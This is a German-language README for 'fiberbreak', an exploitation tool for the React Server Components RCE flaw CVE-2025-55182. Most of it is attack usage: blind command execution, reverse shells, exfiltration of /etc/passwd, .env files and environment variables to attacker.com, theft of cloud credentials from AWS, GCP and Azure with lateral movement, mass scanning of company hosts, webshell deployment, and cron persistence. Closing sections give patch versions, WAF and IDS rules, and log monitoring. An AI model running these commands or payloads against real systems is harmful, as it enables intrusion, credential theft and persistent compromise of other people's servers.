
React2Shell Exploitationstool (CVE-2025-55182)
Ausnutzungsframework für CVE-2025-55182 (React2Shell) – Kritische RCE-Sicherheitslücke in React Server Components.
# Clone repository
git clone https://github.com/scumfrog/fiberbreak
cd fiberbreak
# Install dependencies
pip install -r requirements.txt
# Make executable
chmod +x fiberbreak.py
# Build vulnerable testing environment
docker-compose up -d
# Wait for startup
sleep 20
# Test detection
./fiberbreak.py -u http://localhost:3000 detect
# Execute RCE
./fiberbreak.py -u http://localhost:3000 exploit -c "whoami"
# Verify
docker exec react2shell-lab ls -la /tmp/
CVE-2025-55182 ist eine kritische Sicherheitslücke zur Remote-Code-Ausführung in React Server Components (RSC), die es nicht authentifizierten Angreifern ermöglicht, beliebigen Code auf dem Server auszuführen.
Ursache: Das React Flight-Protokoll deserialisiert nicht vertrauenswürdige Client-Eingaben ohne ordnungsgemäße Validierung, was es Angreifern ermöglicht, schädliche Payloads zu erstellen, die die JavaScript-Prototypenkette und den Function-Konstruktor missbrauchen.
Angriffsvektor: Angreifer senden eine manipulierte multipart/form-data POST-Anfrage mit einem Next-Action-Header an einen beliebigen RSC-Endpunkt. Die schädliche Payload nutzt:
__proto__-Zugriffconstructor:constructor1. Angreifer sendet manipulierte POST-Anfrage
└─ multipart/form-data mit schädlichem JSON
└─ Next-Action-Header (beliebiger Wert)
2. Server deserialisiert Payload
└─ React verarbeitet RSC-Chunk-Format
└─ Löst Promise-ähnliches Objekt auf
3. Gadget-Kette wird ausgelöst
└─ __proto__-Zugriff umgeht hasOwnProperty-Prüfungen
└─ constructor:constructor legt Function() offen
└─ _prefix führt beliebigen Code aus
4. RCE erreicht
└─ Server führt JavaScript des Angreifers aus
└─ Vollständige Systemkompromittierung
{
"then": "$1:__proto__:then", // Prototype Pollution
"status": "resolved_model", // Gefälschter interner React-Status
"reason": -1, // Auslösung der Auflösung
"value": '{"then":"$B1337"}', // Blob-Referenz
"_response": {
"_prefix": "MALICIOUS_CODE_HERE;", // Ausgeführter Code
"_formData": {
"get": "$1:constructor:constructor" // Zugriff auf Function()
}
}
}
// react-server-dom-webpack/src/ReactFlightClient.js
function resolveModelChunk(chunk) {
const value = JSON.parse(chunk.value);
// Fehlende Validierung hier ermöglicht schädliche Chunks
if (value && typeof value.then === 'function') {
// Angreifer kontrolliert die 'then'-Methode
value.then(/* ... */);
}
}
# Single target detection
./fiberbreak.py -u https://target.com detect
# Multiple targets from file
./fiberbreak.py -l targets.txt detect --threads 20
# Save results to JSON
./fiberbreak.py -l targets.txt detect -o results.json
# Disable SSL verification
./fiberbreak.py -u https://target.com detect --no-verify-ssl
# Simple blind command execution
./fiberbreak.py -u https://target.com exploit -c "whoami"
# Write file to disk
./fiberbreak.py -u https://target.com exploit \
-c "/tmp/pwned.txt:HACKED" -t write_file
# Read file contents
./fiberbreak.py -u https://target.com exploit \
-c "/etc/passwd:https://attacker.com" -t file_read
# Reverse Shell
./fiberbreak.py -u https://target.com exploit \
-c "10.10.10.10:4444" -t reverse_shell
# DNS-Exfiltration (verdeckt, kein HTTP-Traffic)
./fiberbreak.py -u https://target.com exploit \
-c "whoami:attacker.oastify.com" -t dns_exfil
# HTTP-Exfiltration mit Ausgabe
./fiberbreak.py -u https://target.com exploit \
-c "id:https://attacker.com/exfil" -t http_exfil
# Umgebungsvariablen-Dump
./fiberbreak.py -u https://target.com exploit \
-c "https://attacker.com/env" -t env_dump
# System-Reconnaissance
./fiberbreak.py -u https://target.com exploit \
-c "https://attacker.com/recon" -t recon
# Stealth-DNS-Beacon (keine Befehlsausgabe)
./fiberbreak.py -u https://target.com exploit \
-c "attacker.oastify.com" -t stealth_beacon
# Automatische Erkennung des Cloud-Anbieters und Extraktion von Anmeldeinformationen
# Unterstützt: AWS, GCP, Azure, DigitalOcean, Oracle Cloud, Alibaba Cloud
./fiberbreak.py -u https://target.com exploit \
-c "https://attacker.com/cloud" -t cloud_metadata
# 1. Verdeckte Erkennung mit DNS-Beacon
./fiberbreak.py -u https://target.com exploit \
-c "recon.yourburp.oastify.com" -t stealth_beacon
# 2. Falls anfällig, sensible Daten extrahieren
./fiberbreak.py -u https://target.com exploit \
-c "https://yourserver.com/exfil" -t env_dump
# 3. Cloud-Umgebung prüfen
./fiberbreak.py -u https://target.com exploit \
-c "https://yourserver.com/cloud" -t cloud_metadata
# 4. Ergebnisse dokumentieren, ohne Schaden zu verursachen
# Phase 1: Erkennung
./fiberbreak.py -u https://target.com detect -o detection.json
# Phase 2: Verifizierung
./fiberbreak.py -u https://target.com exploit \
-c "/tmp/pentest_proof.txt:PENTEST_$(date +%s)" -t write_file
# Phase 3: Auswirkungsbewertung
./fiberbreak.py -u https://target.com exploit \
-c "https://pentest-server.com/impact" -t recon
# Phase 4: Extraktion von Anmeldeinformationen (falls Cloud)
./fiberbreak.py -u https://target.com exploit \
-c "https://pentest-server.com/creds" -t cloud_metadata
# Phase 5: Interaktiver Zugriff (falls autorisiert)
# Terminal 1: Listener starten
nc -lvnp 4444
# Terminal 2: Shell holen
./fiberbreak.py -u https://target.com exploit \
-c "YOUR_IP:4444" -t reverse_shell
# Zielliste erstellen
cat > targets.txt << EOF
https://app1.company.com
https://app2.company.com
https://app3.company.com
https://api.company.com
EOF
# Alle Ziele parallel scannen
./fiberbreak.py -l targets.txt detect --threads 50 -o scan_results.json
# Anfällige Ziele filtern
cat scan_results.json | jq '.[] | select(.vulnerable==true) | .url'
# Bericht generieren
cat scan_results.json | jq '{
total: length,
vulnerable: [.[] | select(.vulnerable==true)] | length,
targets: [.[] | select(.vulnerable==true) | .url]
}'
# AWS EC2-Instanz
./fiberbreak.py -u https://aws-app.com exploit \
-c "https://attacker.com/aws" -t cloud_metadata
# Callback empfängt:
# - Instance ID, region, availability zone
# - IAM role name
# - Temporary AWS credentials (AccessKeyId, SecretAccessKey, Token)
# - User data
# - Network configuration
# GCP Compute Engine
./fiberbreak.py -u https://gcp-app.com exploit \
-c "https://attacker.com/gcp" -t cloud_metadata
# Callback empfängt:
# - Project ID, instance name, zone
# - Service account email
# - OAuth2 access token
# - Available scopes
# Azure Virtual Machine
./fiberbreak.py -u https://azure-app.com exploit \
-c "https://attacker.com/azure" -t cloud_metadata
# Callback empfängt:
# - Instance metadata
# - Managed identity OAuth2 token
# - Subscription information
# Einzigartige Markierungsdatei erstellen
MARKER="pwned_$(date +%s)"
./fiberbreak.py -u https://target.com exploit \
-c "/tmp/${MARKER}:proof" -t write_file
# Über Timing-Angriff oder Out-of-Band verifizieren
./fiberbreak.py -u https://target.com exploit \
-c "curl https://attacker.com/${MARKER}" -t simple
# Schritt 1: Dateien auflisten
./fiberbreak.py -u https://target.com exploit \
-c "find /app -type f -name '*.env':https://attacker.com/files" -t http_exfil
# Schritt 2: Konfiguration extrahieren
./fiberbreak.py -u https://target.com exploit \
-c "/app/.env:https://attacker.com/config" -t file_read
# Schritt 3: Datenbank-Anmeldeinformationen extrahieren
./fiberbreak.py -u https://target.com exploit \
-c "https://attacker.com/env" -t env_dump
# AWS-Anmeldeinformationen extrahieren
./fiberbreak.py -u https://target.com exploit \
-c "https://attacker.com/aws" -t cloud_metadata
# Extrahierte Anmeldeinformationen für laterale Bewegung nutzen
export AWS_ACCESS_KEY_ID=""
export AWS_SECRET_ACCESS_KEY=""
export AWS_SESSION_TOKEN=""
# Ressourcen auflisten
aws s3 ls
aws ec2 describe-instances
aws rds describe-db-instances
# Update React
npm install [email protected] [email protected]
# Update Next.js
npm install [email protected] # or [email protected]+
# Verify versions
npm list react react-dom next
nginx
# Anfragen mit Next-Action-Header blockieren
if ($http_next_action) {
return 403;
}
# RSC-Endpunkte ratenbegrenzen
limit_req_zone $binary_remote_addr zone=rsc:10m rate=10r/s;
location / {
limit_req zone=rsc burst=20;
}
Apache (ModSecurity)
# Next-Action-Header erkennen
SecRule REQUEST_HEADERS:Next-Action "@rx ." \
"id:2025551820,\
phase:2,\
deny,\
status:403,\
log,\
msg:'Versuch der Ausnutzung von CVE-2025-55182 erkannt'"
# Schädliche RSC-Payloads erkennen
SecRule REQUEST_BODY "@rx (__proto__|constructor|prototype)" \
"id:2025551821,\
phase:2,\
deny,\
status:403,\
log,\
msg:'Schädliche RSC-Payload erkannt'"
Cloudflare WAF
// Custom rule
(http.request.headers["next-action"] ne "") or
(http.request.body.raw contains "__proto__") or
(http.request.body.raw contains "constructor:constructor")
# Snort/Suricata-Regel
alert tcp any any -> any any (
msg:"Versuch der Ausnutzung von CVE-2025-55182 React2Shell";
flow:to_server,established;
content:"Next-Action"; http_header;
content:"__proto__"; http_client_body;
sid:2025551820;
rev:1;
)
// Next.js-Middleware
export function middleware(request) {
// Anfragen mit Next-Action-Header von nicht vertrauenswürdigen Quellen blockieren
if (request.headers.get('next-action')) {
// Herkunft validieren
const origin = request.headers.get('origin');
const allowedOrigins = ['https://yourdomain.com'];
if (!allowedOrigins.includes(origin)) {
return new Response('Forbidden', { status: 403 });
}
}
return NextResponse.next();
}
export const config = {
matcher: '/:path*',
};
# Überwachen auf Ausnutzungsversuche in Logs
grep -r "Next-Action" /var/log/nginx/access.log
grep -r "__proto__" /var/log/nginx/access.log
# Alarmieren bei verdächtigen Mustern
tail -f /var/log/nginx/access.log | grep -E "(Next-Action|__proto__|constructor:constructor)" | \
while read line; do
echo "[ALARM] Mögliche Ausnutzung von CVE-2025-55182: $line"
# An SIEM/Alarmierungssystem senden
done
NUR FÜR BILDUNGSZWECKE UND AUTORISIERTE SICHERHEITSTESTS
Nicht autorisierte Nutzung ist untersagt. Einzelheiten siehe LICENSE.
| Typ | Format | Beschreibung | Ausgabe |
|---|
simple | command | Führe beliebigen Shell-Befehl aus | Blind |
output | command + --callback | Mit HTTP-Callback ausführen | Ja |
reverse_shell | lhost:lport | Bash-Reverse-Shell | Interaktiv |
dns_exfil | cmd:domain oder domain | DNS-Exfiltration | DNS-Logs |
http_exfil | cmd:callback_url | HTTP-Exfiltration | HTTP POST |
file_read | filepath:callback | Datei lesen und exfiltrieren | HTTP POST |
write_file | filepath:content | Datei auf Disk schreiben | Blind |
env_dump | callback_url | Umgebungsvariablen ausgeben | HTTP POST |
cloud_metadata | callback_url | Cloud-Anmeldeinformationen extrahieren | HTTP POST |
recon | callback_url | System-Reconnaissance | HTTP POST |
stealth_beacon | domain | DNS-Beacon | DNS-Logs |
webshell | filepath | Node.js-Webshell bereitstellen | Port 8080 |
persist | callback_url | Cron-Persistenz installieren | Cron-Job |